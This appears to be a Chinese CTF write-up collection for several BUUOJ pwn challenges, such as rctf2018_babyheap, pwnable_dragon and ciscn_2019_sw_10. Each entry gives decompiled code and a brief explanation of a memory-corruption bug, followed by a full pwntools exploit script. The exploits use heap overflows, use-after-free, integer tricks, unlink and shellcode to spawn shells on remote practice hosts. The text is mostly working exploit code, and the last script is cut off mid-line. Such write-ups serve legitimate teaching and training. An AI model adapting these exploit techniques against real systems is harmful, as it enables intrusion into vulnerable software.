1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn1' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 28313 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = '>> ' def add (name, desc, many ): r.sendlineafter(menu, '1' ) r.sendafter("Please give me the book's name :" , name) r.sendafter("Please input the description about the book:" , desc) r.sendlineafter('How many book you want to take?' , str (many)) def show (): r.sendlineafter(menu, '2' ) def edit (index, name, many ): r.sendlineafter(menu, '3' ) r.sendlineafter('Which book you want to edit?' , str (index)) r.sendafter("Please give me the book's name :" , name) r.sendlineafter("Do you want to change the description?(y/n)" , 'n' ) r.sendlineafter('How many book you want to take?' , str (many)) def delete (index ): r.sendlineafter(menu, '4' ) r.sendlineafter('Which book you want to delete?' , str (index)) def edit2 (index, name, desc, many ): r.sendlineafter(menu, '3' ) r.sendlineafter('Which book you want to edit?' , str (index)) r.sendafter("Please give me the book's name :" , name) r.sendlineafter("Do you want to change the description?(y/n)" , 'y' ) r.sendafter("Please input the description about the book:" , desc) r.sendlineafter('How many book you want to take?' , str (many)) dbgg() add('a' * 8 , 'b' * 8 , 1 ) add('a' * 8 , 'b' * 8 , 1 ) delete(0 ) puts_got = elf.got['puts' ] p1 = p64(0 ) * 9 + p64(puts_got) edit(0 , p1, 1 ) show() puts_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('puts_addr = ' + hex (puts_addr)) libc = ELF('./libc-2.23.so' ) libc_base = puts_addr - libc.sym['puts' ] free_hook = libc_base + libc.sym['__free_hook' ] li('free_hook = ' + hex (free_hook)) one = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = one[1 ] + libc_base p2 = p64(0 ) * 9 + p64(free_hook) edit2(0 , p2, p64(one_gadget), 1 ) delete(1 ) r.interactive()
rctf2018_babyheap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 _DWORD *add () { int size; _DWORD *result; unsigned __int64 i; unsigned int len; void *ptr; if ( add_counts > 0x20 u ) my_error("too many chunk" ); printf ("please input chunk size: " ); size = read_input(); len = size; if ( size <= 0 || size > 0x100 LL ) my_error("invalid size" ); ptr = calloc (size, 1uLL ); if ( !ptr ) my_error("memory error" ); printf ("input chunk content: " ); sub_BC8((__int64)ptr, len); for ( i = 0LL ; i <= 0x1F && heap_ptr[i]; ++i ) ; if ( i == 32 ) my_error("too many chunk" ); heap_ptr[i] = (__int64)ptr; result = &add_counts; ++add_counts; return result; }
Off-by-null,但是这里用的calloc来申请的,calloc并不会拿tcache里面的东西,所以只能借助fastbin来进行overlapping操作
填满tcache即可进行正常的off-by-null堆重叠
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './babyheap' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 25983 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = 'choice: ' def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('please input chunk size: ' , str (size)) r.sendlineafter('input chunk content: ' , content) def show (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('please input chunk index: ' , str (index)) def delete (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('please input chunk index: ' , str (index)) dbgg() add(0xf8 , 'a' * 8 ) add(0x68 , 'b' * 8 ) add(0xf8 , 'c' * 8 ) for i in range (8 ): add(0xf8 , 'a' * 8 ) for i in range (8 ): add(0x68 , 'a' * 8 ) for i in range (3 , 10 ): delete(i) for i in range (11 , 18 ): delete(i) delete(0 ) delete(1 ) add(0x68 , b'a' * 0x60 + p64(0x170 )) delete(2 ) add(0xf8 , 'a' * 8 ) show(0 ) malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 - 0x10 li('malloc_hook = ' + hex (malloc_hook)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base add(0x68 , 'a' * 8 ) delete(0 ) delete(18 ) delete(2 ) add(0x68 , p64(malloc_hook - 0x23 )) add(0x68 , 'a' * 8 ) add(0x68 , 'a' * 8 ) add(0x68 , b'\x00' * 0x13 + p64(one_gadget)) r.sendlineafter(menu, '1' ) r.sendlineafter('please input chunk size: ' , '20' ) r.interactive()
arr_sun_2016 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 int sub_8048592 () { int result; int index; int v2; int j; int i; int v5[11 ]; memset (v5, 0 , 0x28 u); for ( i = 0 ; i <= 9 ; ++i ) { puts ("enter index" ); fflush(stdout ); __isoc99_scanf("%d" , &index); puts ("enter value" ); fflush(stdout ); __isoc99_scanf("%d" , &v2); if ( index > 9 ) exit (0 ); v5[index] = v2; } puts ("behold, your creation!" ); result = fflush(stdout ); for ( j = 0 ; j <= 9 ; ++j ) { printf ("%d " , v5[j]); result = fflush(stdout ); } return result; }
只能通过负数来越界,注意的地方是这里,v5[index] = v2;,这里的index会*4
1 2 3 4 mov eax, [ebp+index] mov edx, [ebp+value] mov [ebp+eax*4+var_30], edx add [ebp+var_34], 1
是-2147483648的时候是-0x80000000,在__isoc99_scanf(“%d”, &index);这里得到的是低位的0,所以可以借助这个溢出来覆盖ret,直接构造rop即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './arr_sun_2016' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 25088 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() r.sendlineafter('What should I call you? \n' , 'a' * 8 ) for i in range (2 ): r.sendlineafter('enter index\n' , '0' ) r.sendlineafter('enter value\n' , '0' ) dbgg() oob = -2147483648 bd = 0x804857B scanf_plt = 0x80485E3 r.sendlineafter('enter index\n' , str (oob + 0xd )) r.sendlineafter('enter value\n' , str (0x08048460 )) r.sendlineafter('enter index\n' , str (oob + 0xe )) r.sendlineafter('enter value\n' , str (0x80487BA )) r.sendlineafter('enter index\n' , str (oob + 0xf )) r.sendlineafter('enter value\n' , str (0x0804882F )) r.sendlineafter('enter index\n' , str (oob + 0x10 )) r.sendlineafter('enter value\n' , str (0x08049B30 )) r.sendlineafter('enter index\n' , str (oob + 0x11 )) r.sendlineafter('enter value\n' , str (0x0804857B )) r.sendlineafter('enter index\n' , str (oob + 0x12 )) r.sendlineafter('enter value\n' , str (0 )) r.sendlineafter('enter index\n' , str (oob + 0x13 )) r.sendlineafter('enter value\n' , str (0x08049B30 )) r.sendline('/bin/sh\x00' ) r.interactive()
pwnable_dragon 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 int __cdecl PriestAttack (int a1, _DWORD *ptr) { int Choice; do { ((void (__cdecl *)(_DWORD *))*ptr)(ptr); (*(void (__cdecl **)(int ))(a1 + 12 ))(a1); Choice = GetChoice(); switch ( Choice ) { case 2 : puts ("Clarity! Your Mana Has Been Refreshed" ); *(_DWORD *)(a1 + 8 ) = 50 ; printf ("But The Dragon Deals %d Damage To You!\n" , ptr[3 ]); *(_DWORD *)(a1 + 4 ) -= ptr[3 ]; printf ("And The Dragon Heals %d HP!\n" , *((char *)ptr + 9 )); *((_BYTE *)ptr + 8 ) += *((_BYTE *)ptr + 9 ); goto LABEL_11; case 3 : if ( *(int *)(a1 + 8 ) > 24 ) { puts ("HolyShield! You Are Temporarily Invincible..." ); printf ("But The Dragon Heals %d HP!\n" , *((char *)ptr + 9 )); *((_BYTE *)ptr + 8 ) += *((_BYTE *)ptr + 9 ); *(_DWORD *)(a1 + 8 ) -= 25 ; goto LABEL_11; } break ; case 1 : if ( *(int *)(a1 + 8 ) > 9 ) { printf ("Holy Bolt Deals %d Damage To The Dragon!\n" , 20 ); *((_BYTE *)ptr + 8 ) -= 20 ; *(_DWORD *)(a1 + 8 ) -= 10 ; printf ("But The Dragon Deals %d Damage To You!\n" , ptr[3 ]); *(_DWORD *)(a1 + 4 ) -= ptr[3 ]; printf ("And The Dragon Heals %d HP!\n" , *((char *)ptr + 9 )); *((_BYTE *)ptr + 8 ) += *((_BYTE *)ptr + 9 ); goto LABEL_11; } break ; default : goto LABEL_11; } puts ("Not Enough MP!" ); LABEL_11: if ( *(int *)(a1 + 4 ) <= 0 ) { free (ptr); return 0 ; } } while ( *((char *)ptr + 8 ) > 0 ); free (ptr); return 1 ; }
dragon的血是byte类型,和char类型溢出一个道理,128就变成负的,while ( *((char *)ptr + 8) > 0 );
当dragon的血小于0,则free(dragon)
,所以只需要想办法把dragon的血一直加,加到超过128就行了
一开始血太少了,所以会失败,第二次血会多一点,这样了hero的血完全可以支撑到dragon的血加超过128
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 void __cdecl FightDragon (int a1) { char v1; int v2; _DWORD *ptr; _DWORD *v4; void *v5; ptr = malloc (0x10 u); v4 = malloc (0x10 u); v1 = Count++; if ( (v1 & 1 ) != 0 ) { v4[1 ] = 1 ; *((_BYTE *)v4 + 8 ) = 80 ; *((_BYTE *)v4 + 9 ) = 4 ; v4[3 ] = 10 ; *v4 = PrintMonsterInfo; puts ("Mama Dragon Has Appeared!" ); } else { v4[1 ] = 0 ; *((_BYTE *)v4 + 8 ) = 50 ; *((_BYTE *)v4 + 9 ) = 5 ; v4[3 ] = 30 ; *v4 = PrintMonsterInfo; puts ("Baby Dragon Has Appeared!" ); } if ( a1 == 1 ) { *ptr = 1 ; ptr[1 ] = 42 ; ptr[2 ] = 50 ; ptr[3 ] = PrintPlayerInfo; v2 = PriestAttack((int )ptr, v4); } else { if ( a1 != 2 ) return ; *ptr = 2 ; ptr[1 ] = 50 ; ptr[2 ] = 0 ; ptr[3 ] = PrintPlayerInfo; v2 = KnightAttack((int )ptr, v4); } if ( v2 ) { puts ("Well Done Hero! You Killed The Dragon!" ); puts ("The World Will Remember You As:" ); v5 = malloc (0x10 u); __isoc99_scanf("%16s" , v5); puts ("And The Dragon You Have Defeated Was Called:" ); ((void (__cdecl *)(_DWORD *))*v4)(v4); } else { puts ("\nYou Have Been Defeated!" ); } free (ptr); }
上面的dragon的大小是0x10,free之后再次 v5 = malloc(0x10u);
,所以就有了一个uaf,此时再输入v5,然后执行,就相当于是任意地址执行,程序里有一个system('/bin/sh')
,任意地址执行这个即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './dragon' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 25718 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() r.sendline('1' ) r.sendline('1' ) r.sendline('1' ) r.sendline('1' ) for i in range (4 ): r.sendline('3' ) r.sendline('3' ) r.sendline('2' ) r.sendline(p32(0x8048DBF )) r.interactive()
jarvisoj_calc.exe 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 if ( !strcmp (s1, "var" ) ) { v21 = strtok(0 , " " ); v22 = strtok(0 , " " ); if ( !v22 ) break ; if ( *v22 == '=' ) { nptr = strtok(0 , " " ); if ( !nptr ) { puts ("invalid syntax" ); break ; } if ( *nptr == '"' ) { nptra = nptr + 1 ; v25 = strchr (nptra, '"' ); if ( v25 ) { *v25 = 0 ; v2 = sub_804A63E(v21, nptra); sub_804A820((void **)dword_804D0B0, v21, (int )v2); } }
代码量大,要做长时间的逆向工作,漏洞点出在这里一块,var a = 1
, 这是正常的,但是也可以var add = "1"
这样,add是一个指针函数,这样子就成功把add的指针内容被赋值成了1,如果调用add这里的指针函数那么就可以成功的任意执行,可以把内容改成shellcode,然后调用即可getshell。
当遇见+的时候就会调用add这里的指针函数,从而成功调用shellcode,同理其他的sub mul这些都可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) file_name = './calc.exe' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 27996 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = '> ' dbgg() p1 = b'var sub = "' + asm(shellcraft.sh()) + b'"' print (p1)r.sendlineafter('> ' , p1) r.sendline('-' ) r.interactive()
ciscn_2019_sw_10 1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 delete () { unsigned int index; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("index ?" ); _isoc99_scanf("%d" , &index); if ( index <= 0x1F && heap_ptr[index] ) free (heap_ptr[index]); else puts ("invalid index" ); return __readfsqword(0x28 u) ^ v2; }
2.27的uaf漏洞,禁用了execve,但是还可以用execveat,read -r line < /flag;echo $line
然后用这个来读flag就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './ciscn_2019_sw_10' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 27291 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() r.sendlineafter('what is your name?' , 'z1r0' ) menu = '>> ' def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('size?\n' , str (size)) r.sendafter('content?\n' , content) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('index ?\n' , str (index)) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('index ?\n' , str (index)) add(0x500 , 'a' * 8 ) add(0x10 , 'a' * 8 ) delete(0 ) show(0 ) malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 - 0x10 li('malloc_hook = ' + hex (malloc_hook)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] free_hook = libc_base + libc.sym['__free_hook' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base setcontext_addr = libc_base + libc.sym['setcontext' ] + 53 syscall = libc_base + libc.search(asm("syscall\nret" )).__next__() p1 = b'' p1 = p1.ljust(0x68 , b'\x00' ) + p64(0 ) p1 = p1.ljust(0x70 , b'\x00' ) + p64(free_hook&0xfffffffffffff000 ) p1 = p1.ljust(0x88 , b'\x00' ) + p64(0x20000 ) p1 = p1.ljust(0xa0 , b'\x00' ) + p64(free_hook&0xfffffffffffff000 ) p1 = p1.ljust(0xa8 , b'\x00' ) + p64(syscall) dbgg() add(0x500 , p1) delete(1 ) delete(1 ) add(0x10 , p64(free_hook)) add(0x10 , 'a' * 8 ) add(0x10 , p64(setcontext_addr)) delete(2 ) shellcode = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05' layout = [ libc_base+libc.search(asm("pop rdi\nret" )).__next__(), free_hook & 0xfffffffffffff000 , libc_base+libc.search(asm("pop rsi\nret" )).__next__(), 0x2000 , libc_base+libc.search(asm("pop rdx\nret" )).__next__(), 7 , libc_base+libc.search(asm("pop rax\nret" )).__next__(), 10 , syscall, libc_base+libc.search(asm("jmp rsp" )).__next__(), ] r.sendline(flat(layout) + shellcode) r.interactive()
ciscn_2019_final_10 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 __int64 sub_CCF () { unsigned int v1; FILE *stream; char ptr[16 ]; char buf[24 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); stream = fopen("/dev/urandom" , "rb" ); fread(ptr, 0xC uLL, 1uLL , stream); fclose(stream); read(0 , buf, 0x10 uLL); if ( !strncmp (buf, ptr, 0xC uLL) ) { puts ("Welcome, MIB Agent." ); return 0LL ; } else { printf ("> " ); __isoc99_scanf("%d" , &v1); if ( (int )v1 > 255 || !v1 ) { puts ("Access denied." ); exit (0 ); } return v1; } }
第一个输入肯定是错的,进到第二个else这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 oid __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int v3; unsigned int v4; char *s1; unsigned __int64 v6; v6 = __readfsqword(0x28 u); sub_C0A(); sub_C57(); v4 = sub_CCF(); if ( (unsigned int )check_v1(v4) == 1 ) { puts ("Access granted!" ); s1 = (char *)malloc (0x30 uLL); strcpy (s1, "The cake is not a lie!" ); } else if ( !(unsigned int )check_v1(v4) ) { printf ("Access denied." ); exit (0 ); }
通过后面的逻辑可以知道需要过check_v1(v4)为1
,但是第一个那里v1
不能为0,但是(int)v1 > 255
把v1转换成了有符号,所以可以输入负数
然后在check_v1这个函数里是ax,所以输入-0x10000,这样子的话就可以成功check_v1(v4) == 1
1 2 3 4 5 6 7 8 9 __int64 sub_EA0 () { if ( dword_202010 <= 0 ) exit (0 ); if ( !ptr ) exit (0 ); free (ptr); return (unsigned int )--dword_202010; }
漏洞点两次uaf,利用double free打The cake is not a lie!
为The cake is a lie!
,最后用\x00来绕过算法执行shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './ciscn_final_10' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 25754 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = '> ' def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter(menu, str (size)) r.sendafter(menu, content) def delete (): r.sendlineafter(menu, '2' ) dbgg() r.sendlineafter(menu, '1234' ) r.sendlineafter(menu, str (-0x10000 )) add(0x20 , 'a' * 8 ) delete() delete() add(0x20 , '\x90' ) add(0x20 , 'a' * 8 ) add(0x20 , 'The cake is a lie!\x00' ) r.sendlineafter(menu, '3' ) shellcode = asm(shellcraft.sh()) r.sendlineafter(menu, b'\x00\x0c' + shellcode) r.interactive()
inndy_stack 1 2 3 4 5 int __cdecl stack_pop (_DWORD *stack ) { --*stack ; return stack [*stack + 1 ]; }
pop的时候可以负溢
泄露出libc之后clear,然后再利用pop负溢,打push的返回地址为ogg,需要注意整数表现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) file_name = './stack' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 29863 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = 'Cmd >>\n' def push (value ): r.sendlineafter(menu, 'i ' + str (value)) def pop (): r.sendlineafter(menu, b'p' ) dbgg() for i in range (15 ): pop() r.recvuntil('Pop -> ' ) _IO_2_1_stdout_addr = int (r.recv(10 ), 10 ) + 0x100000000 li('_IO_2_1_stdout_addr = ' + hex (_IO_2_1_stdout_addr)) libc = ELF('./libc-2.23.so' ) libc_base = _IO_2_1_stdout_addr - libc.sym['_IO_2_1_stdout_' ] li('libc_base = ' + hex (libc_base)) one = [0x3a80c , 0x3a80e , 0x3a812 , 0x3a819 , 0x5f065 , 0x5f066 ] one_gadget = one[1 ] + libc_base li('one_gadget = ' + hex (one_gadget)) system_addr = libc_base + libc.sym['system' ] li('system_addr = ' + hex (system_addr)) bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() r.sendlineafter(menu, 'c' ) for i in range (8 ): pop() one_gadget = 0x100000000 - one_gadget push(-one_gadget) r.interactive()
picoctf_2018_gps 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl main (int argc, const char **argv, const char **envp) { char *position; void (*v5)(void ); char seed[4104 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); setbuf(_bss_start, 0LL ); srand((unsigned int )seed); initialize(); acquire_satellites(); position = query_position(); printf ("We need to access flag.txt.\nCurrent position: %p\n" , position); printf ("What's your plan?\n> " ); fgets(seed, 0x1000 , stdin ); printf ("Where do we start?\n> " ); __isoc99_scanf("%p" , &v5); v5(); return 0 ; }
会去执行一个地址,然后会泄露出stack上的地址,栈上有rwx,所以直接ret2shellcode,nop滑行即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './PicoCTF_2018_gps' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 29827 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() dbgg() r.recvuntil('0x' ) leak_addr = int (r.recv(12 ), 16 ) + 0x200 li('leak_addr = ' + hex (leak_addr)) p1 = b'\x90' * 0x950 + asm(shellcraft.sh()) r.sendlineafter('> ' , p1) r.sendlineafter('> ' , hex (leak_addr)) r.interactive()
pwnable_applestore 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned int checkout () { int v1; char v2[4 ]; int v3; unsigned int v4; v4 = __readgsdword(0x14 u); v1 = cart(); if ( v1 == 7174 ) { puts ("*: iPhone 8 - $1" ); asprintf(v2, "%s" , "iPhone 8" ); v3 = 1 ; insert((int )v2); v1 = 7175 ; } printf ("Total: $%d\n" , v1); puts ("Want to checkout? Maybe next time!" ); return __readgsdword(0x14 u) ^ v4; }
这里的v2是栈上的地址,在ebp-0x20这里,但是这些功能函数都在handler函数中,可以通过其他的函数内部在ebp-0x20左右的变量去更改它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int cart () { int v0; int v2; int v3; int i; char v5[22 ]; unsigned int v6; v6 = __readgsdword(0x14 u); v2 = 1 ; v3 = 0 ; printf ("Let me check your cart. ok? (y/n) > " ); fflush(stdout ); my_read(v5, 21 ); if ( v5[0 ] == 121 ) { puts ("==== Cart ====" ); for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8 ) ) { v0 = v2++; printf ("%d: %s - $%d\n" , v0, *(const char **)i, *(_DWORD *)(i + 4 )); v3 += *(_DWORD *)(i + 4 ); } } return v3; }
cart这里的v5就可以更改上面的v2,所以可以泄露出libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 unsigned int delete () { int v1; int v2; int v3; int v4; int v5; char v6[22 ]; unsigned int v7; v7 = __readgsdword(0x14 u); v1 = 1 ; v2 = dword_804B070; printf ("Item Number> " ); fflush(stdout ); my_read(v6, 21 ); v3 = atoi(v6); while ( v2 ) { if ( v1 == v3 ) { v4 = *(_DWORD *)(v2 + 8 ); v5 = *(_DWORD *)(v2 + 12 ); if ( v5 ) *(_DWORD *)(v5 + 8 ) = v4; if ( v4 ) *(_DWORD *)(v4 + 12 ) = v5; printf ("Remove %d:%s from your shopping cart.\n" , v1, *(const char **)v2); return __readgsdword(0x14 u) ^ v7; } ++v1; v2 = *(_DWORD *)(v2 + 8 ); } return __readgsdword(0x14 u) ^ v7; }
delete这里就是个unlink操作,可以unlink attack
将v4设置为atoi_got+0x22
,然后将v5设置为ebp_addr-0x8
,attack之后ebp的位置被写入atoi_got+0x22
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 unsigned int handler () { char v1[22 ]; unsigned int v2; v2 = __readgsdword(0x14 u); while ( 1 ) { printf ("> " ); fflush(stdout ); my_read(v1, 21 ); switch ( atoi(v1) ) { case 1 : list (); break ; case 2 : add(); break ; case 3 : delete(); break ; case 4 : cart(); break ; case 5 : checkout(); break ; case 6 : puts ("Thank You for Your Purchase!" ); return __readgsdword(0x14 u) ^ v2; default : puts ("It's not a choice! Idiot." ); break ; } } }
此时在handler中v1就是ebp-0x22,所以v1 = atoi_got,my_read的时候就是向atoi_got中写入值,所以可以getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './applestore' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 28292 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = '> ' def add (choice ): r.sendlineafter(menu, '2' ) r.sendlineafter('Device Number> ' , str (choice)) def checkout (content ): r.sendlineafter(menu, '5' ) r.sendlineafter('Let me check your cart. ok? (y/n) > ' , content) def show (content ): r.sendlineafter(menu, '4' ) r.sendlineafter('Let me check your cart. ok? (y/n) > ' , content) def delete (content ): r.sendlineafter(menu, '3' ) r.sendlineafter('Item Number> ' , content) dbgg() for i in range (6 ): add(1 ) for i in range (20 ): add(2 ) checkout('y' ) puts_got = elf.got['puts' ] p1 = b'y\x00' + p32(puts_got) p1 += b'\x00' * (0xa - 2 - 4 ) + p32(0 ) show(p1) r.recvuntil('27: ' ) puts_addr = u32(r.recvuntil("\xf7" )[-4 :]) li('puts_addr = ' + hex (puts_addr)) libc = ELF('./libc-2.23.so' ) libc_base = puts_addr - libc.sym['puts' ] li('libc_base = ' + hex (libc_base)) one = [0x3a80c , 0x3a80e , 0x3a812 , 0x3a819 , 0x5f065 , 0x5f066 ] one_gadget = one[3 ] + libc_base environ = libc_base + 